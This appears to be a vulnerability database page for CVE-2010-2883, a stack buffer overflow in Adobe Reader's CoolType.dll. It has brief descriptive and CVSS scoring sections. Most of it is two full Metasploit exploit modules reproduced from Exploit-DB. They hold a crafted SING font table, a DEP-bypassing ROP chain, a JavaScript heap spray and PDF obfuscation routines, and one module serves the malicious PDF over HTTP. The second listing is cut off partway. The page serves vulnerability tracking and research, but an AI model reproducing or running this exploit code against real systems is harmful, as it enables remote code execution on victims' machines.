CVE-2010-2883 : Detail

CVE-2010-2883

7.3
/
High
Overflow
93.69%V3
Local
2010-09-09
21h00 +00:00
2025-02-04
21h45 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.3 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Adobe Acrobat and Reader Stack-Based Buffer Overflow Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-06-07 22h00 +00:00

Action is due : 2022-06-21 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16619

Publication date : 2010-09-24 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are assumed to be vulnerable as well. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # 0day found in the wild '@sn0wfl0w', # initial analysis '@vicheck', # initial analysis 'jduck' # Metasploit module ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2010-2883' ], [ 'OSVDB', '67849'], [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ], [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd [ 'Automatic', { }], ], 'DisclosureDate' => 'Sep 07 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit ttf_data = make_ttf() js_data = make_js(payload.encoded) # Create the pdf pdf = make_pdf(ttf_data, js_data) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def make_ttf ttf_data = "" # load the static ttf file # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20) path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" ) fd = File.open( path, "rb" ) ttf_data = fd.read(fd.stat.size) fd.close # Build the SING table sing = '' sing << [ 0, 1, # tableVersionMajor, tableVersionMinor (0.1) 0xe01, # glyphletVersion 0x100, # embeddingInfo 0, # mainGID 0, # unitsPerEm 0, # vertAdvance 0x3a00 # vertOrigin ].pack('vvvvvvvv') # uniqueName # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" #sing << "A" * (0x254 - sing.length) sing << rand_text(0x254 - sing.length) # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') # This becomes our new EIP (puts esp to stack buffer) ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret sing[0x208, 4] = [ret].pack('V') # This becomes the new eip after the first return ret = 0x4a82a714 sing[0x18, 4] = [ret].pack('V') # This becomes the new esp after the first return esp = 0x0c0c0c0c sing[0x1c, 4] = [esp].pack('V') # Without the following, sub_801ba57 returns 0. sing[0x24c, 4] = [0x6c].pack('V') ttf_data[0xec, 4] = "SING" ttf_data[0x11c, sing.length] = sing ttf_data end def make_js(encoded_payload) # The following executes a ret2lib using icucnv36.dll # The effect is to bypass DEP and execute the shellcode in an indirect way stack_data = [ 0x41414141, # unused 0x4a8063a5, # pop ecx / ret 0x4a8a0000, # becomes ecx 0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as 0x4a801f90, # pop eax / ret 0x4a84903c, # becomes eax (import for CreateFileA) # -- call CreateFileA 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591") 0x10000000, # second arg - dwDesiredAccess 0x00000000, # third arg - dwShareMode 0x00000000, # fourth arg - lpSecurityAttributes 0x00000002, # fifth arg - dwCreationDisposition 0x00000102, # sixth arg - dwFlagsAndAttributes 0x00000000, # seventh arg - hTemplateFile 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx - offset to modify # # This points at a neat-o block of code that ... TBD # # and [esp+ebx*2],edi # jne check_slash # ret_one: # mov al,1 # ret # check_slash: # cmp al,0x2f # je ret_one # cmp al,0x41 # jl check_lower # cmp al,0x5a # jle check_ptr # check_lower: # cmp al,0x61 # jl ret_zero # cmp al,0x7a # jg ret_zero # cmp [ecx+1],0x3a # je ret_one # ret_zero: # xor al,al # ret # 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849038, # becomes eax (import for CreateFileMappingA) # -- call CreateFileMappingA 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0xffffffff, # arguments to CreateFileMappingA, hFile 0x00000000, # lpAttributes 0x00000040, # flProtect 0x00000000, # dwMaximumSizeHigh 0x00010000, # dwMaximumSizeLow 0x00000000, # lpName 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849030, # becomes eax (import for MapViewOfFile # -- call MapViewOfFile 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0xffffffff, # args to MapViewOfFile - hFileMappingObject 0x00000022, # dwDesiredAccess 0x00000000, # dwFileOffsetHigh 0x00000000, # dwFileOffsetLow 0x00010000, # dwNumberOfBytesToMap 0x4a8063a5, # pop ecx / ret 0x4a8a0004, # becomes ecx - writable pointer 0x4a802196, # mov [ecx],eax / ret - save map base addr 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000030, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a8a0004, # becomes eax - saved file mapping ptr 0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000020, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret 0x4a801f90, # pop eax / ret 0x00000034, # becomes eax 0x4a80d585, # add eax,edx / ret 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x0000000a, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849170, # becomes eax (import for memcpy) # -- call memcpy 0x4a80b692, # jmp [eax] 0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy 0xffffffff, # becomes first arg to memcpy (dst) 0xffffffff, # becomes second arg to memcpy (src) 0x00001000, # becomes third arg to memcpy (length) #0x0000258b, # ?? #0x4d4d4a8a, # ?? ].pack('V*') var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_s = 0x10000 var_c = rand_text_alpha(rand(100) + 1) var_b = rand_text_alpha(rand(100) + 1) var_d = rand_text_alpha(rand(100) + 1) var_3 = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_4 = rand_text_alpha(rand(100) + 1) payload_buf = '' payload_buf << stack_data payload_buf << encoded_payload escaped_payload = Rex::Text.to_unescape(payload_buf) js = %Q| var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' ); var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c}; #{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2); #{var_b} += #{var_shellcode}; #{var_b} += #{var_c}; #{var_d} = #{var_b}.substring(0, #{var_s}/2); while(#{var_d}.length < 0x80000) #{var_d} += #{var_d}; #{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2); var #{var_4} = new Array(); for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; | js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj \n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) #return str result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(ttf, js) #swf_name = rand_text_alpha(8 + rand(8)) + ".swf" xref = [] eol = "\n" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol # catalog xref << pdf.length pdf << ioDef(1) << nObfu("<<") << eol pdf << nObfu("/Pages ") << ioRef(2) << eol pdf << nObfu("/Type /Catalog") << eol pdf << nObfu("/OpenAction ") << ioRef(11) << eol # The AcroForm is required to get icucnv36.dll to load pdf << nObfu("/AcroForm ") << ioRef(13) << eol pdf << nObfu(">>") << eol pdf << endobj # pages array xref << pdf.length pdf << ioDef(2) << nObfu("<<") << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol pdf << nObfu("/Count 1") << eol pdf << nObfu("/Type /Pages") << eol pdf << nObfu(">>") << eol pdf << endobj # media box xref << pdf.length pdf << ioDef(3) pdf << "[0 0 595 842]" << eol pdf << endobj # resources xref << pdf.length pdf << ioDef(4) pdf << nObfu("<<") << eol pdf << nObfu("/Font ") << ioRef(6) << eol pdf << ">>" << eol pdf << endobj # page 1 xref << pdf.length pdf << ioDef(5) << nObfu("<<") << eol pdf << nObfu("/Parent ") << ioRef(2) << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol pdf << nObfu("/Type /Page") << eol pdf << nObfu(">>") << eol # end obj dict pdf << endobj # font xref << pdf.length pdf << ioDef(6) << nObfu("<<") << eol pdf << nObfu("/F1 ") << ioRef(7) << eol pdf << ">>" << eol pdf << endobj # ttf object xref << pdf.length pdf << ioDef(7) << nObfu("<<") << eol pdf << nObfu("/Type /Font") << eol pdf << nObfu("/Subtype /TrueType") << eol pdf << nObfu("/Name /F1") << eol pdf << nObfu("/BaseFont /Cinema") << eol pdf << nObfu("/Widths []") << eol pdf << nObfu("/FontDescriptor ") << ioRef(9) pdf << nObfu("/Encoding /MacRomanEncoding") pdf << nObfu(">>") << eol pdf << endobj # page content content = "Hello World!" content = "" + "0 g" + eol + "BT" + eol + "/F1 32 Tf" + eol + "32 Tc" + eol + "1 0 0 1 32 773.872 Tm" + eol + "(" + content + ") Tj" + eol + "ET" xref << pdf.length pdf << ioDef(8) << "<<" << eol pdf << nObfu("/Length %s" % content.length) << eol pdf << ">>" << eol pdf << "stream" << eol pdf << content << eol pdf << "endstream" << eol pdf << endobj # font descriptor xref << pdf.length pdf << ioDef(9) << nObfu("<<") pdf << nObfu("/Type/FontDescriptor/FontName/Cinema") pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17)) pdf << nObfu("/FontBBox [-177 -269 1123 866]") pdf << nObfu("/FontFile2 ") << ioRef(10) pdf << nObfu(">>") << eol pdf << endobj # ttf stream xref << pdf.length compressed = Zlib::Deflate.deflate(ttf) pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj # js action xref << pdf.length pdf << ioDef(11) << nObfu("<<") pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12) pdf << nObfu(">>") << eol pdf << endobj # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj ### # The following form related data is required to get icucnv36.dll to load ### # form object xref << pdf.length pdf << ioDef(13) pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol pdf << endobj # form stream xfa = <<-EOF <?xml version="1.0" encoding="UTF-8"?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config xmlns="http://www.xfa.org/schema/xci/2.6/"> <present><pdf><interactive>1</interactive></pdf></present> </config> <template xmlns="http://www.xfa.org/schema/xfa-template/2.6/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet></pageSet> </subform></template></xdp:xdp> EOF xref << pdf.length pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol pdf << endobj ### # end form stuff for icucnv36.dll ### # trailing stuff xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << eol pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol pdf end end
Exploit Database EDB-ID : 16494

Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: adobe_cooltype_sing.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are assumed to be vulnerable as well. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # 0day found in the wild '@sn0wfl0w', # initial analysis '@vicheck', # initial analysis 'jduck' # Metasploit module ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2010-2883' ], [ 'OSVDB', '67849'], [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ], [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd [ 'Automatic', { }], ], 'DisclosureDate' => 'Sep 07 2010', 'DefaultTarget' => 0)) end def exploit # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20) path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" ) fd = File.open( path, "rb" ) @ttf_data = fd.read(fd.stat.size) fd.close super end def on_request_uri(cli, request) print_status("Sending crafted PDF to #{cli.peerhost}:#{cli.peerport}") ttf_data = make_ttf() js_data = make_js(regenerate_payload(cli).encoded) # Create the pdf pdf = make_pdf(ttf_data, js_data) send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' }) # Handle the payload handler(cli) end def make_ttf # load the static ttf file ttf_data = @ttf_data.dup # Build the SING table sing = '' sing << [ 0, 1, # tableVersionMajor, tableVersionMinor (0.1) 0xe01, # glyphletVersion 0x100, # embeddingInfo 0, # mainGID 0, # unitsPerEm 0, # vertAdvance 0x3a00 # vertOrigin ].pack('vvvvvvvv') # uniqueName # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" #sing << "A" * (0x254 - sing.length) sing << rand_text(0x254 - sing.length) # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') # This becomes our new EIP (puts esp to stack buffer) ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret sing[0x208, 4] = [ret].pack('V') # This becomes the new eip after the first return ret = 0x4a82a714 sing[0x18, 4] = [ret].pack('V') # This becomes the new esp after the first return esp = 0x0c0c0c0c sing[0x1c, 4] = [esp].pack('V') # Without the following, sub_801ba57 returns 0. sing[0x24c, 4] = [0x6c].pack('V') ttf_data[0xec, 4] = "SING" ttf_data[0x11c, sing.length] = sing ttf_data end def make_js(encoded_payload) # The following executes a ret2lib using icucnv36.dll # The effect is to bypass DEP and execute the shellcode in an indirect way stack_data = [ 0x41414141, # unused 0x4a8063a5, # pop ecx / ret 0x4a8a0000, # becomes ecx 0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as 0x4a801f90, # pop eax / ret 0x4a84903c, # becomes eax (import for CreateFileA) # -- call CreateFileA 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591") 0x10000000, # second arg - dwDesiredAccess 0x00000000, # third arg - dwShareMode 0x00000000, # fourth arg - lpSecurityAttributes 0x00000002, # fifth arg - dwCreationDisposition 0x00000102, # sixth arg - dwFlagsAndAttributes 0x00000000, # seventh arg - hTemplateFile 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx - offset to modify # # This points at a neat-o block of code that ... TBD # # and [esp+ebx*2],edi # jne check_slash # ret_one: # mov al,1 # ret # check_slash: # cmp al,0x2f # je ret_one # cmp al,0x41 # jl check_lower # cmp al,0x5a # jle check_ptr # check_lower: # cmp al,0x61 # jl ret_zero # cmp al,0x7a # jg ret_zero # cmp [ecx+1],0x3a # je ret_one # ret_zero: # xor al,al # ret # 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849038, # becomes eax (import for CreateFileMappingA) # -- call CreateFileMappingA 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0xffffffff, # arguments to CreateFileMappingA, hFile 0x00000000, # lpAttributes 0x00000040, # flProtect 0x00000000, # dwMaximumSizeHigh 0x00010000, # dwMaximumSizeLow 0x00000000, # lpName 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849030, # becomes eax (import for MapViewOfFile # -- call MapViewOfFile 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0xffffffff, # args to MapViewOfFile - hFileMappingObject 0x00000022, # dwDesiredAccess 0x00000000, # dwFileOffsetHigh 0x00000000, # dwFileOffsetLow 0x00010000, # dwNumberOfBytesToMap 0x4a8063a5, # pop ecx / ret 0x4a8a0004, # becomes ecx - writable pointer 0x4a802196, # mov [ecx],eax / ret - save map base addr 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000030, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a8a0004, # becomes eax - saved file mapping ptr 0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000020, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret 0x4a801f90, # pop eax / ret 0x00000034, # becomes eax 0x4a80d585, # add eax,edx / ret 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x0000000a, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849170, # becomes eax (import for memcpy) # -- call memcpy 0x4a80b692, # jmp [eax] 0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy 0xffffffff, # becomes first arg to memcpy (dst) 0xffffffff, # becomes second arg to memcpy (src) 0x00001000, # becomes third arg to memcpy (length) #0x0000258b, # ?? #0x4d4d4a8a, # ?? ].pack('V*') var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_s = 0x10000 var_c = rand_text_alpha(rand(100) + 1) var_b = rand_text_alpha(rand(100) + 1) var_d = rand_text_alpha(rand(100) + 1) var_3 = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_4 = rand_text_alpha(rand(100) + 1) payload_buf = '' payload_buf << stack_data payload_buf << encoded_payload escaped_payload = Rex::Text.to_unescape(payload_buf) js = %Q| var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' ); var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c}; #{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2); #{var_b} += #{var_shellcode}; #{var_b} += #{var_c}; #{var_d} = #{var_b}.substring(0, #{var_s}/2); while(#{var_d}.length < 0x80000) #{var_d} += #{var_d}; #{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2); var #{var_4} = new Array(); for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; | js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj \n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) #return str result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(ttf, js) #swf_name = rand_text_alpha(8 + rand(8)) + ".swf" xref = [] eol = "\n" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol # catalog xref << pdf.length pdf << ioDef(1) << nObfu("<<") << eol pdf << nObfu("/Pages ") << ioRef(2) << eol pdf << nObfu("/Type /Catalog") << eol pdf << nObfu("/OpenAction ") << ioRef(11) << eol # The AcroForm is required to get icucnv36.dll to load pdf << nObfu("/AcroForm ") << ioRef(13) << eol pdf << nObfu(">>") << eol pdf << endobj # pages array xref << pdf.length pdf << ioDef(2) << nObfu("<<") << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol pdf << nObfu("/Count 1") << eol pdf << nObfu("/Type 